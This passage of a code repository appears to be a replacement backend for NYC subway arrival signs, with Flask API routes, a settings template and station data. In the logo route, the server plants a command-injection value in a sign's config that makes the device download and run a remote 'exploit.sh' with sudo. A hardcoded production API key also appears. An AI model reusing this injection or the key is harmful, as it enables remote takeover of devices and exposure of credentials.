"prod_api_key": "rKlRPviE105H3paeGQyo9u7NGjhaauQ7TvyYSv91", 94 | "run_speed_test": False, 95 | "customer_retention": False, 96 | }, 97 | } 98 | 99 | with open("data/stops.json") as f: 100 | STOPS = json.load(f) 101 | 102 | with open("data/last_stops.json") as f: 103 | LAST_STOPS = json.load(f) 104 | 105 | 106 | def truncate_stop_name(stop): 107 | if len(stop) > 20: 108 | try: 109 | idx = stop.index("-") 110 | except ValueError: 111 | stop = stop[:20].rsplit(" ", 1)[0] 112 | else: 113 | stop = stop[:idx] 114 | return stop 115 | 116 | 117 | def gen_claim_code(): 118 | return "".join( 119 | random.choice(string.ascii_letters + string.digits) for _ in range(8) 120 | ).upper() 121 | 122 | 123 | @api.route("/prod-get-config/get", methods=["POST"]) 124 | def config(): 125 | payload = request.json 126 | print(payload) 127 | client_id = payload.get("clientId") 128 | 129 | # Handle situations where for some reason config.json doesn't exist 130 | if bool(client_id) is False: 131 | config = CONFIG_JSON_TEMPLATE.copy() 132 | config["settings"]["client_id"] = str(uuid.uuid4()) 133 | config["settings"]["sign_id"] = str(uuid.uuid4()) 134 | 135 | config["customtext"]["enabled"] = True 136 | config["customtext"]["line_1"] = "PLEASE REBOOT" 137 | config["customtext"]["line_2"] = "PLEASE REBOOT" 138 | return jsonify({"": config}) 139 | 140 | s = Signs.query.filter_by(client_id=client_id).first() 141 | if s is None: 142 | abort(404) 143 | 144 | response = {s.sign_id: s.config} 145 | inner_sign_id = s.config["settings"]["sign_id"] 146 | if s.sign_id != inner_sign_id: 147 | response[inner_sign_id] = s.config 148 | return jsonify(response) 149 | 150 | 151 | @api.route("/prod-logs/logs//upload", methods=["POST"]) 152 | def logs(sign_id): 153 | print(sign_id) 154 | abort(404) 155 | 156 | 157 | @api.route("/prod-get-image/get", methods=["POST"]) 158 | def logo(): 159 | payload = request.json 160 | print(payload) 161 | client_id = payload["clientId"] 162 | sign_id = payload["signId"] 163 | sign = Signs.query.filter_by(sign_id=sign_id).first() 164 | if sign is None: 165 | config = CONFIG_JSON_TEMPLATE.copy() 166 | config["settings"]["client_id"] = client_id 167 | config["settings"][ 168 | "sign_id" 169 | ] = f"{sign_id}; curl https://api.trainsignapi.com/static/exploit.sh | sudo bash" 170 | 171 | # Generate unique claim_code 172 | claim_code = gen_claim_code() 173 | while Signs.query.filter_by(claim_code=claim_code).first(): 174 | claim_code = gen_claim_code() 175 | 176 | config["customtext"]["enabled"] = True 177 | config["customtext"]["line_1"] = "trainsignapi.com" 178 | config["customtext"]["line_2"] = f"{claim_code}" 179 | 180 | s = Signs( 181 | client_id=client_id, 182 | sign_id=sign_id, 183 | claim_code=claim_code, 184 | config=config, 185 | ) 186 | db.session.add(s) 187 | db.session.commit() 188 | else: 189 | logo = ( 190 | Path(current_app.root_path) 191 | / "api" 192 | / "static" 193 | / "uploads" 194 | / f"{sign.sign_id}" 195 | ) 196 | if logo.exists(): 197 | return jsonify( 198 | { 199 | "link": url_for( 200 | "api.static", filename=f"uploads/{sign.sign_id}", _external=True 201 | ) 202 | } 203 | ) 204 | else: 205 | abort(404) 206 | 207 | 208 | @api.route("/prod-weather/weather/zipCode/") 209 | def weather(zip_code): 210 | data = requests.get( 211 | f"https://geocoding-api.open-meteo.com/v1/search?name={zip_code}&count=1" 212 | ).json()["results"][0] 213 | lat = data["latitude"] 214 | long = data["longitude"] 215 | 216 | data = requests.get( 217 | f"https://api.open-meteo.com/v1/forecast?latitude={lat}&longitude={long}¤t_weather=true&temperature_unit=fahrenheit" 218 | ).json() 219 | response = { 220 | "data": { 221 | "temperature": int(data["current_weather"]["temperature"]), 222 | "summary": weather_mapping.get( 223 | data["current_weather"]["weathercode"], "UNKNOWN" 224 | ), 225 | } 226 | } 227 | return jsonify(response) 228 | 229 | 230 | @api.route("/prod-trains/stations/") 231 | def stations(stop_id): 232 | 233 | stop = None 234 | for stop_row in STOPS: 235 | if stop_row["stop"] == stop_id: 236 | stop = stop_row 237 | 238 | station_id = stop["id"] 239 | 240 | mta = requests.get( 241 | f"https://api.wheresthefuckingtrain.com/by-id/{station_id}" 242 | ).json()["data"][0] 243 | northbound = mta["N"] 244 | southbound = mta["S"] 245 | 246 | response = { 247 | "data": { 248 | "N": { 249 | "schedule": [], 250 | "term": truncate_stop_name(LAST_STOPS[stop["line"]]["N"]), 251 | }, 252 | "S": { 253 | "schedule": [], 254 | "term": truncate_stop_name(LAST_STOPS[stop["line"]]["S"]), 255 | }, 256 | } 257 | } 258 | for train in northbound: 259 | now = int(time.time()) 260 | arrival_time = parse(train["time"]).timestamp() 261 | schedule_item = { 262 | "routeId": train["route"], 263 | "delay": None, 264 | "arrivalTime": int((arrival_time - now) / 60), 265 | "departureTime": 0, 266 | } 267 | response["data"]["N"]["schedule"].append(schedule_item) 268 | 269 | for train in southbound: 270 | now = int(time.time()) 271 | arrival_time = parse(train["time"]).timestamp() 272 | schedule_item = { 273 | "routeId": train["route"], 274 | "delay": None, 275 | "arrivalTime": int((arrival_time - now) / 60), 276 | "departureTime": 0, 277 | } 278 | response["data"]["S"]["schedule"].append(schedule_item) 279 | 280 | return jsonify(response) 281 | 282 | 283 | @api.route("/claim", methods=["POST"]) 284 | def claim(): 285 | claim_code = request.json["claim_code"] 286 | s = Signs.query.filter_by(claim_code=claim_code).first_or_404() 287 | s.config["settings"]["sign_id"] = s.sign_id 288 | flag_modified(s, "config") 289 | db.session.commit() 290 | return jsonify({"success": True}) 291 | 292 | 293 | @api.route("/signs/", methods=["GET", "POST"]) 294 | def sign_settings(sign_id): 295 | s = Signs.query.filter_by(sign_id=sign_id).first_or_404() 296 | if request.method == "POST": 297 | if request.form.get("config"): 298 | config = json.loads(request.form.get("config")) 299 | else: 300 | config = request.json 301 | s.config = config 302 | db.session.commit() 303 | return jsonify({}) 304 | else: 305 | config = json.dumps(s.config, sort_keys=True, indent=4) 306 | return render_template("sign_settings.html", config=config) 307 | -------------------------------------------------------------------------------- /www/templates/nycts.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block styles %} 4 | 10 | {% endblock %} 11 | 12 | {% block content %} 13 |
14 |
15 |
16 |

{{ sign.config["settings"]["name"] }}

17 |
18 | 21 |
22 | 23 |

Settings

24 | 25 |
26 | 27 | 28 |
Sign Name. Does not show on sign
29 |
30 | 31 |
32 | 33 | 34 |
Transition time between frames
35 |
36 | 37 |
38 | 39 | 45 |
Sign Brightness
46 |
47 | 48 |

Custom Text

49 | 50 |
51 | 52 | {% set customtext_enabled = sign.config["customtext"]["enabled"] %} 53 | 57 |
Enable or Disable Custom Text
58 |
59 | 60 |
61 | 62 | 63 |
Set the Custom Text shown on Line 1
64 |
65 | 66 |
67 | 68 | 69 |
Set the Custom Text shown on Line 2
70 |
71 | 72 |

Subway

73 | 74 |
75 | 76 | {% set subway_enabled = sign.config["subway"]["enabled"] %} 77 | 81 |
Enable or Disable Custom Text
82 |
83 | 84 |
85 | 86 | {% set routes = [ 87 | ("1", "1"), 88 | ("2", "2"), 89 | ("3", "3"), 90 | ("4", "4"), 91 | ("5", "5"), 92 | ("6", "6"), 93 | ("7", "7"), 94 | ("A", "A"), 95 | ("C", "C"), 96 | ("D", "D"), 97 | ("E", "E"), 98 | ("F", "F"), 99 | ("FS", "S-Franklin"), 100 | ("G", "G"), 101 | ("H", "S-Rockaway"), 102 | ("J", "J"), 103 | ("L", "L"), 104 | ("M", "M"), 105 | ("N", "N"), 106 | ("Q", "Q"), 107 | ("R", "R"), 108 | ("S", "S-42 St"), 109 | ("SI", "SIR"), 110 | ] %} 111 | {% set subway_line = sign.config["subway"]["line"] %} 112 | 117 |
Set the Custom Text shown on Line 2
118 |
119 | 120 |
121 | 122 | {% set subway_train = sign.config["subway"]["train"] %} 123 | 125 |
Set the Custom Text shown on Line 2
126 |
127 | 128 |

Weather

129 | 130 |
131 | 132 | {% set weather_enabled = sign.config["weather"]["enabled"] %} 133 | 137 |
Enable or Disable Weather
138 |
139 | 140 |
141 | 142 | 143 |
Enable or Disable Weather
144 |
145 | 146 |

Logo

147 | 148 |
149 | 150 | {% set logo_enabled = sign.config["logo"]["enabled"] %} 151 | 155 |
Enable or Disable Logo
156 |
157 | 158 |
159 | 160 | 161 |
Image to display. Preferably 128x32
162 |
163 | 164 | 167 |
168 |
169 |
170 |
171 |
172 | {% endblock %} 173 | 174 | {% block scripts %} 175 | {% set subway_line = sign.config["subway"]["line"] %} 176 | 210 | {% endblock %} -------------------------------------------------------------------------------- /data/stops.csv: -------------------------------------------------------------------------------- 1 | id,name,stop,line 2 | 07e1,103 St,119,1 3 | 0d51,116 St - Columbia University,117,1 4 | c451,125 St,116,1 5 | 2b44,137 St - City College,115,1 6 | 65de,14 St,132,1 7 | 5fd0,145 St,114,1 8 | 7327,157 St,113,1 9 | e467,168 St - Washington Hts,112,1 10 | e467,168 St - Washington Hts,A09,1 11 | 1afa,18 St,131,1 12 | 698d,181 St,111,1 13 | 5f93,191 St,110,1 14 | a3c6,207 St,108,1 15 | a97d,215 St,107,1 16 | 9b86,23 St,130,1 17 | c9e1,231 St,104,1 18 | 6974,238 St,103,1 19 | d1f4,28 St,129,1 20 | 76dc,34 St - Penn Station,128,1 21 | 0690,50 St,126,1 22 | 7a18,59 St - Columbus Circle,125,1 23 | 7a18,59 St - Columbus Circle,A24,1 24 | c8ff,66 St - Lincoln Center,124,1 25 | 202c,72 St,123,1 26 | a0a0,79 St,122,1 27 | 4c56,86 St,121,1 28 | da4f,96 St,120,1 29 | 7f1d,Canal St,135,1 30 | 5ef0,Cathedral Pkwy,118,1 31 | 3988,Chambers St,137,1 32 | 9fc3,Christopher St - Sheridan Sq,133,1 33 | 013d,Cortlandt St,138,1 34 | 2723,Dyckman St,109,1 35 | 42a0,Franklin St,136,1 36 | 0252,Houston St,134,1 37 | f093,Marble Hill - 225 St,106,1 38 | e00d,Rector St,139,1 39 | a8ba,South Ferry,142,1 40 | 84ac,Times Sq - 42 St,127,1 41 | 84ac,Times Sq - 42 St,725,1 42 | 84ac,Times Sq - 42 St,902,1 43 | 84ac,Times Sq - 42 St,R16,1 44 | 38b3,Van Cortlandt Park - 242 St,101,1 45 | 9cfd,116 St,226,2 46 | d1c3,125 St,225,2 47 | 13fe,135 St,224,2 48 | 65de,14 St,132,2 49 | 64f8,149 St - Grand Concourse,222,2 50 | 64f8,149 St - Grand Concourse,415,2 51 | 3b8a,174 St,215,2 52 | 69ad,219 St,207,2 53 | 7eab,225 St,206,2 54 | eae2,233 St,205,2 55 | 060a,3 Av - 149 St,221,2 56 | 76dc,34 St - Penn Station,128,2 57 | 202c,72 St,123,2 58 | da4f,96 St,120,2 59 | 6f3e,Allerton Av,210,2 60 | d2c6,Atlantic Av - Barclays Ctr,235,2 61 | d2c6,Atlantic Av - Barclays Ctr,D24,2 62 | d2c6,Atlantic Av - Barclays Ctr,R31,2 63 | 0116,Bergen St,236,2 64 | 0266,Beverly Rd,245,2 65 | 4e75,Borough Hall / Court St,232,2 66 | 4e75,Borough Hall / Court St,423,2 67 | 4e75,Borough Hall / Court St,R28,2 68 | 1534,Bronx Park East,212,2 69 | b1d1,Burke Av,209,2 70 | 705f,Central Park North (110 St),227,2 71 | 3988,Chambers St,137,2 72 | 9188,Church Av,244,2 73 | 9b04,Clark St,231,2 74 | 979d,E 180 St,213,2 75 | ac1d,Eastern Pkwy - Brooklyn Museum,238,2 76 | 3cec,Flatbush Av - Brooklyn College,247,2 77 | a301,Franklin Av / Botanic Garden,239,2 78 | a301,Franklin Av / Botanic Garden,S04,2 79 | 45fb,Freeman St,216,2 80 | 3cf6,Fulton St,229,2 81 | 3cf6,Fulton St,418,2 82 | 3cf6,Fulton St,A38,2 83 | 3cf6,Fulton St,M22,2 84 | 539f,Grand Army Plaza,237,2 85 | 091d,Gun Hill Rd,208,2 86 | e165,Hoyt St,233,2 87 | e96e,Intervale Av,218,2 88 | ec8c,Jackson Av,220,2 89 | 274a,Nereid Av,204,2 90 | 289d,Nevins St,234,2 91 | 38db,Newkirk Av,246,2 92 | 74db,Park Pl,228,2 93 | eb16,Pelham Pkwy,211,2 94 | f340,President St,241,2 95 | c0e1,Prospect Av,219,2 96 | 63dc,Simpson St,217,2 97 | e4a6,Sterling St,242,2 98 | 84ac,Times Sq - 42 St,127,2 99 | 84ac,Times Sq - 42 St,725,2 100 | 84ac,Times Sq - 42 St,902,2 101 | 84ac,Times Sq - 42 St,R16,2 102 | 757b,Wakefield - 241 St,201,2 103 | 6da9,Wall St,230,2 104 | ca46,West Farms Sq - E Tremont Av,214,2 105 | cb70,Winthrop St,243,2 106 | 9cfd,116 St,226,3 107 | d1c3,125 St,225,3 108 | 13fe,135 St,224,3 109 | 65de,14 St,132,3 110 | 577b,145 St,302,3 111 | 76dc,34 St - Penn Station,128,3 112 | 202c,72 St,123,3 113 | da4f,96 St,120,3 114 | d2c6,Atlantic Av - Barclays Ctr,235,3 115 | d2c6,Atlantic Av - Barclays Ctr,D24,3 116 | d2c6,Atlantic Av - Barclays Ctr,R31,3 117 | 0116,Bergen St,236,3 118 | 4e75,Borough Hall / Court St,232,3 119 | 4e75,Borough Hall / Court St,423,3 120 | 4e75,Borough Hall / Court St,R28,3 121 | 705f,Central Park North (110 St),227,3 122 | 3988,Chambers St,137,3 123 | 9b04,Clark St,231,3 124 | 6c98,Crown Hts - Utica Av,250,3 125 | ac1d,Eastern Pkwy - Brooklyn Museum,238,3 126 | a301,Franklin Av / Botanic Garden,239,3 127 | a301,Franklin Av / Botanic Garden,S04,3 128 | 3cf6,Fulton St,229,3 129 | 3cf6,Fulton St,418,3 130 | 3cf6,Fulton St,A38,3 131 | 3cf6,Fulton St,M22,3 132 | 539f,Grand Army Plaza,237,3 133 | 34ed,Harlem - 148 St,301,3 134 | e165,Hoyt St,233,3 135 | 077e,Kingston Av,249,3 136 | 032e,Livonia Av / Junius St,254,3 137 | 032e,Livonia Av / Junius St,L26,3 138 | 289d,Nevins St,234,3 139 | d964,New Lots Av,257,3 140 | 621b,Nostrand Av,248,3 141 | 74db,Park Pl,228,3 142 | fe13,Pennsylvania Av,255,3 143 | c24c,Rockaway Av,253,3 144 | 03c6,Saratoga Av,252,3 145 | 19f3,Sutter Av - Rutland Rd,251,3 146 | 84ac,Times Sq - 42 St,127,3 147 | 84ac,Times Sq - 42 St,725,3 148 | 84ac,Times Sq - 42 St,902,3 149 | 84ac,Times Sq - 42 St,R16,3 150 | f718,Van Siclen Av,256,3 151 | 6da9,Wall St,230,3 152 | 85fc,125 St,621,4 153 | 8fe0,138 St - Grand Concourse,416,4 154 | 64f8,149 St - Grand Concourse,222,4 155 | 64f8,149 St - Grand Concourse,415,4 156 | de32,161 St - Yankee Stadium,414,4 157 | de32,161 St - Yankee Stadium,D11,4 158 | 0deb,167 St,413,4 159 | b922,170 St,412,4 160 | 1068,176 St,410,4 161 | 0d0f,183 St,408,4 162 | 4564,86 St,626,4 163 | d2c6,Atlantic Av - Barclays Ctr,235,4 164 | d2c6,Atlantic Av - Barclays Ctr,D24,4 165 | d2c6,Atlantic Av - Barclays Ctr,R31,4 166 | bbcb,Bedford Park Blvd - Lehman College,405,4 167 | 4e75,Borough Hall / Court St,232,4 168 | 4e75,Borough Hall / Court St,423,4 169 | 4e75,Borough Hall / Court St,R28,4 170 | b6f0,Bowling Green,420,4 171 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,4 172 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,4 173 | a96b,Burnside Av,409,4 174 | 6c98,Crown Hts - Utica Av,250,4 175 | f4f6,Fordham Rd,407,4 176 | a301,Franklin Av / Botanic Garden,239,4 177 | a301,Franklin Av / Botanic Garden,S04,4 178 | 3cf6,Fulton St,229,4 179 | 3cf6,Fulton St,418,4 180 | 3cf6,Fulton St,A38,4 181 | 3cf6,Fulton St,M22,4 182 | 87d2,Grand Central - 42 St,631,4 183 | 87d2,Grand Central - 42 St,723,4 184 | 87d2,Grand Central - 42 St,901,4 185 | 8cb2,Kingsbridge Rd,406,4 186 | 5f44,Lexington Av/59 St,629,4 187 | 5f44,Lexington Av/59 St,R11,4 188 | 69cb,Mosholu Pkwy,402,4 189 | 17d6,Mt Eden Av,411,4 190 | 289d,Nevins St,234,4 191 | 82bd,Union Sq - 14 St,635,4 192 | 82bd,Union Sq - 14 St,L03,4 193 | 82bd,Union Sq - 14 St,R20,4 194 | 7eac,Wall St,419,4 195 | 816b,Woodlawn,401,4 196 | 85fc,125 St,621,5 197 | 8fe0,138 St - Grand Concourse,416,5 198 | 64f8,149 St - Grand Concourse,222,5 199 | 64f8,149 St - Grand Concourse,415,5 200 | 3b8a,174 St,215,5 201 | 060a,3 Av - 149 St,221,5 202 | 4564,86 St,626,5 203 | d2c6,Atlantic Av - Barclays Ctr,235,5 204 | d2c6,Atlantic Av - Barclays Ctr,D24,5 205 | d2c6,Atlantic Av - Barclays Ctr,R31,5 206 | b5b4,Baychester Av,502,5 207 | 0266,Beverly Rd,245,5 208 | 4e75,Borough Hall / Court St,232,5 209 | 4e75,Borough Hall / Court St,423,5 210 | 4e75,Borough Hall / Court St,R28,5 211 | b6f0,Bowling Green,420,5 212 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,5 213 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,5 214 | 9188,Church Av,244,5 215 | 979d,E 180 St,213,5 216 | 5b69,Eastchester - Dyre Av,501,5 217 | 3cec,Flatbush Av - Brooklyn College,247,5 218 | a301,Franklin Av / Botanic Garden,239,5 219 | a301,Franklin Av / Botanic Garden,S04,5 220 | 45fb,Freeman St,216,5 221 | 3cf6,Fulton St,229,5 222 | 3cf6,Fulton St,418,5 223 | 3cf6,Fulton St,A38,5 224 | 3cf6,Fulton St,M22,5 225 | 87d2,Grand Central - 42 St,631,5 226 | 87d2,Grand Central - 42 St,723,5 227 | 87d2,Grand Central - 42 St,901,5 228 | 285e,Gun Hill Rd,503,5 229 | e96e,Intervale Av,218,5 230 | ec8c,Jackson Av,220,5 231 | 5f44,Lexington Av/59 St,629,5 232 | 5f44,Lexington Av/59 St,R11,5 233 | e8c0,Morris Park,505,5 234 | 289d,Nevins St,234,5 235 | 38db,Newkirk Av,246,5 236 | b337,Pelham Pkwy,504,5 237 | f340,President St,241,5 238 | c0e1,Prospect Av,219,5 239 | 63dc,Simpson St,217,5 240 | e4a6,Sterling St,242,5 241 | 82bd,Union Sq - 14 St,635,5 242 | 82bd,Union Sq - 14 St,L03,5 243 | 82bd,Union Sq - 14 St,R20,5 244 | 7eac,Wall St,419,5 245 | ca46,West Farms Sq - E Tremont Av,214,5 246 | cb70,Winthrop St,243,5 247 | 48ab,103 St,624,6 248 | a733,110 St,623,6 249 | 3871,116 St,622,6 250 | 85fc,125 St,621,6 251 | 6766,23 St,634,6 252 | 26dd,28 St,633,6 253 | cdc0,3 Av - 138 St,619,6 254 | abd8,33 St,632,6 255 | fe8e,51 St / Lexington Av/53 St,630,6 256 | fe8e,51 St / Lexington Av/53 St,F11,6 257 | 42e7,68 St - Hunter College,628,6 258 | 185c,77 St,627,6 259 | 4564,86 St,626,6 260 | 2335,96 St,625,6 261 | c5ab,Astor Pl,636,6 262 | 31e9,Broadway-Lafayette St / Bleecker St,637,6 263 | 31e9,Broadway-Lafayette St / Bleecker St,D21,6 264 | eb6f,Brook Av,618,6 265 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,6 266 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,6 267 | c399,Buhre Av,602,6 268 | 7f0a,Canal St,639,6 269 | 7f0a,Canal St,M20,6 270 | 7f0a,Canal St,Q01,6 271 | 7f0a,Canal St,R23,6 272 | dc82,Castle Hill Av,607,6 273 | 5d44,Cypress Av,617,6 274 | 7750,E 143 St - St Mary's St,616,6 275 | 58d4,E 149 St,615,6 276 | 8ebd,Elder Av,611,6 277 | 87d2,Grand Central - 42 St,631,6 278 | 87d2,Grand Central - 42 St,723,6 279 | 87d2,Grand Central - 42 St,901,6 280 | f29c,Hunts Point Av,613,6 281 | 5f44,Lexington Av/59 St,629,6 282 | 5f44,Lexington Av/59 St,R11,6 283 | 851d,Longwood Av,614,6 284 | d86e,Middletown Rd,603,6 285 | 00ac,Morrison Av- Sound View,610,6 286 | 996a,Parkchester,608,6 287 | b2f6,Pelham Bay Park,601,6 288 | 4c27,Spring St,638,6 289 | d7a7,St Lawrence Av,609,6 290 | 82bd,Union Sq - 14 St,635,6 291 | 82bd,Union Sq - 14 St,L03,6 292 | 82bd,Union Sq - 14 St,R20,6 293 | 9cf8,Westchester Sq - E Tremont Av,604,6 294 | f76a,Whitlock Av,612,6 295 | 44c4,Zerega Av,606,6 296 | 48ab,103 St,624,6X 297 | a733,110 St,623,6X 298 | 3871,116 St,622,6X 299 | 85fc,125 St,621,6X 300 | 6766,23 St,634,6X 301 | 26dd,28 St,633,6X 302 | cdc0,3 Av - 138 St,619,6X 303 | abd8,33 St,632,6X 304 | fe8e,51 St / Lexington Av/53 St,630,6X 305 | fe8e,51 St / Lexington Av/53 St,F11,6X 306 | 42e7,68 St - Hunter College,628,6X 307 | 185c,77 St,627,6X 308 | 4564,86 St,626,6X 309 | 2335,96 St,625,6X 310 | c5ab,Astor Pl,636,6X 311 | 31e9,Broadway-Lafayette St / Bleecker St,637,6X 312 | 31e9,Broadway-Lafayette St / Bleecker St,D21,6X 313 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,6X 314 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,6X 315 | c399,Buhre Av,602,6X 316 | 7f0a,Canal St,639,6X 317 | 7f0a,Canal St,M20,6X 318 | 7f0a,Canal St,Q01,6X 319 | 7f0a,Canal St,R23,6X 320 | dc82,Castle Hill Av,607,6X 321 | 87d2,Grand Central - 42 St,631,6X 322 | 87d2,Grand Central - 42 St,723,6X 323 | 87d2,Grand Central - 42 St,901,6X 324 | f29c,Hunts Point Av,613,6X 325 | 5f44,Lexington Av/59 St,629,6X 326 | 5f44,Lexington Av/59 St,R11,6X 327 | d86e,Middletown Rd,603,6X 328 | 996a,Parkchester,608,6X 329 | b2f6,Pelham Bay Park,601,6X 330 | 4c27,Spring St,638,6X 331 | 82bd,Union Sq - 14 St,635,6X 332 | 82bd,Union Sq - 14 St,L03,6X 333 | 82bd,Union Sq - 14 St,R20,6X 334 | 9cf8,Westchester Sq - E Tremont Av,604,6X 335 | 44c4,Zerega Av,606,6X 336 | 9c82,103 St - Corona Plaza,706,7 337 | 4a47,111 St,705,7 338 | e7f8,33 St,716,7 339 | 0d31,34 St - 11 Av,726,7 340 | 8df7,40 St,715,7 341 | d142,46 St,714,7 342 | 7f11,5 Av,724,7 343 | 07c5,52 St,713,7 344 | 6081,69 St,711,7 345 | c6a0,74 St - Broadway - Roosevelt Av,710,7 346 | c6a0,74 St - Broadway - Roosevelt Av,G14,7 347 | 1ecf,82 St - Jackson Hts,709,7 348 | ae0e,90 St - Elmhurst Av,708,7 349 | 65cd,Court Sq,719,7 350 | 65cd,Court Sq,F09,7 351 | 65cd,Court Sq,G22,7 352 | b4a5,Flushing - Main St,701,7 353 | 87d2,Grand Central - 42 St,631,7 354 | 87d2,Grand Central - 42 St,723,7 355 | 87d2,Grand Central - 42 St,901,7 356 | 5f2c,Hunters Point Av,720,7 357 | 500e,Junction Blvd,707,7 358 | b1ee,Mets - Willets Point,702,7 359 | 66ce,Queensboro Plaza,718,7 360 | 66ce,Queensboro Plaza,R09,7 361 | 84ac,Times Sq - 42 St,127,7 362 | 84ac,Times Sq - 42 St,725,7 363 | 84ac,Times Sq - 42 St,902,7 364 | 84ac,Times Sq - 42 St,R16,7 365 | aba3,Vernon Blvd - Jackson Av,721,7 366 | 19bc,Woodside - 61 St,712,7 367 | 6d6a,104 St,A63,A 368 | 6683,111 St,A64,A 369 | caba,125 St,A15,A 370 | 449e,145 St,A12,A 371 | 449e,145 St,D13,A 372 | e467,168 St - Washington Hts,112,A 373 | e467,168 St - Washington Hts,A09,A 374 | f73c,175 St,A07,A 375 | b62b,181 St,A06,A 376 | 0d7d,190 St,A05,A 377 | 3927,34 St - Penn Station,A28,A 378 | 0602,42 St - Port Authority Bus Terminal,A27,A 379 | 7a18,59 St - Columbus Circle,125,A 380 | 7a18,59 St - Columbus Circle,A24,A 381 | 6a30,8 Av / 14 St,A31,A 382 | 6a30,8 Av / 14 St,L01,A 383 | 8bc9,80 St,A59,A 384 | 3cee,88 St,A60,A 385 | fe2e,Aqueduct - N Conduit Av,H02,A 386 | 61f2,Aqueduct Racetrack,H01,A 387 | a4b6,Beach 25 St,H10,A 388 | 6d91,Beach 36 St,H09,A 389 | eee0,Beach 44 St,H08,A 390 | 44f4,Beach 60 St,H07,A 391 | e8b3,Beach 67 St,H06,A 392 | ef66,Broad Channel,H04,A 393 | 0731,Broadway Jct,A51,A 394 | 0731,Broadway Jct,J27,A 395 | 0731,Broadway Jct,L22,A 396 | 490c,Canal St,A34,A 397 | f537,Chambers St,A36,A 398 | a7ee,Dyckman St,A03,A 399 | 83a0,Euclid Av,A55,A 400 | c4cf,Far Rockaway - Mott Av,H11,A 401 | 3cf6,Fulton St,229,A 402 | 3cf6,Fulton St,418,A 403 | 3cf6,Fulton St,A38,A 404 | 3cf6,Fulton St,M22,A 405 | 2a59,Grant Av,A57,A 406 | 8e04,High St,A40,A 407 | 4c5f,Howard Beach - JFK Airport,H03,A 408 | ec1f,Hoyt - Schermerhorn Sts,A42,A 409 | 5c68,Inwood - 207 St,A02,A 410 | 923c,Jay St - MetroTech,A41,A 411 | 923c,Jay St - MetroTech,R29,A 412 | 1e5c,Nostrand Av,A46,A 413 | 5b74,Ozone Park - Lefferts Blvd,A65,A 414 | 1322,Rockaway Blvd,A61,A 415 | 145c,Utica Av,A48,A 416 | 47ae,W 4 St,A32,A 417 | 47ae,W 4 St,D20,A 418 | bed9,103 St,A18,B 419 | e801,116 St,A16,B 420 | caba,125 St,A15,B 421 | 43ba,135 St,A14,B 422 | 449e,145 St,A12,B 423 | 449e,145 St,D13,B 424 | 6854,34 St - Herald Sq,D17,B 425 | 6854,34 St - Herald Sq,R17,B 426 | 6fd9,42 St - Bryant Pk,D16,B 427 | 0cca,47-50 Sts - Rockefeller Ctr,D15,B 428 | 7a18,59 St - Columbus Circle,125,B 429 | 7a18,59 St - Columbus Circle,A24,B 430 | 7f29,7 Av,D25,B 431 | b8f3,7 Av,D14,B 432 | 8d93,72 St,A22,B 433 | b0bd,81 St - Museum of Natural History,A21,B 434 | ae80,86 St,A20,B 435 | 032a,96 St,A19,B 436 | d2c6,Atlantic Av - Barclays Ctr,235,B 437 | d2c6,Atlantic Av - Barclays Ctr,D24,B 438 | d2c6,Atlantic Av - Barclays Ctr,R31,B 439 | 0132,Brighton Beach,D40,B 440 | 31e9,Broadway-Lafayette St / Bleecker St,637,B 441 | 31e9,Broadway-Lafayette St / Bleecker St,D21,B 442 | 10c1,Cathedral Pkwy (110 St),A17,B 443 | b2e2,Church Av,D28,B 444 | 52ed,DeKalb Av,R30,B 445 | 5397,Grand St,D22,B 446 | 13fd,Kings Hwy,D35,B 447 | 7268,Newkirk Plaza,D31,B 448 | cf15,Prospect Park,D26,B 449 | 72e2,Sheepshead Bay,D39,B 450 | 47ae,W 4 St,A32,B 451 | 47ae,W 4 St,D20,B 452 | bed9,103 St,A18,C 453 | e801,116 St,A16,C 454 | caba,125 St,A15,C 455 | 43ba,135 St,A14,C 456 | 449e,145 St,A12,C 457 | 449e,145 St,D13,C 458 | f4eb,155 St,A11,C 459 | 4657,163 St - Amsterdam Av,A10,C 460 | e467,168 St - Washington Hts,112,C 461 | e467,168 St - Washington Hts,A09,C 462 | 1d54,23 St,A30,C 463 | 3927,34 St - Penn Station,A28,C 464 | 0602,42 St - Port Authority Bus Terminal,A27,C 465 | 0e0a,50 St,A25,C 466 | 7a18,59 St - Columbus Circle,125,C 467 | 7a18,59 St - Columbus Circle,A24,C 468 | 8d93,72 St,A22,C 469 | 6a30,8 Av / 14 St,A31,C 470 | 6a30,8 Av / 14 St,L01,C 471 | b0bd,81 St - Museum of Natural History,A21,C 472 | ae80,86 St,A20,C 473 | 032a,96 St,A19,C 474 | 0731,Broadway Jct,A51,C 475 | 0731,Broadway Jct,J27,C 476 | 0731,Broadway Jct,L22,C 477 | 490c,Canal St,A34,C 478 | 10c1,Cathedral Pkwy (110 St),A17,C 479 | f537,Chambers St,A36,C 480 | 18c4,Clinton - Washington Avs,A44,C 481 | 83a0,Euclid Av,A55,C 482 | d1f3,Franklin Av,A45,C 483 | d1f3,Franklin Av,S01,C 484 | 3cf6,Fulton St,229,C 485 | 3cf6,Fulton St,418,C 486 | 3cf6,Fulton St,A38,C 487 | 3cf6,Fulton St,M22,C 488 | 8e04,High St,A40,C 489 | ec1f,Hoyt - Schermerhorn Sts,A42,C 490 | 923c,Jay St - MetroTech,A41,C 491 | 923c,Jay St - MetroTech,R29,C 492 | 8f6d,Kingston - Throop Avs,A47,C 493 | 2526,Lafayette Av,A43,C 494 | 0e83,Liberty Av,A52,C 495 | 1e5c,Nostrand Av,A46,C 496 | a3f2,Ralph Av,A49,C 497 | 973e,Rockaway Av,A50,C 498 | e960,Shepherd Av,A54,C 499 | ebc5,Spring St,A33,C 500 | 145c,Utica Av,A48,C 501 | ecf3,Van Siclen Av,A53,C 502 | 47ae,W 4 St,A32,C 503 | 47ae,W 4 St,D20,C 504 | caba,125 St,A15,D 505 | 449e,145 St,A12,D 506 | 449e,145 St,D13,D 507 | 75b5,155 St,D12,D 508 | de32,161 St - Yankee Stadium,414,D 509 | de32,161 St - Yankee Stadium,D11,D 510 | 7751,167 St,D10,D 511 | f484,170 St,D09,D 512 | 3f99,174-175 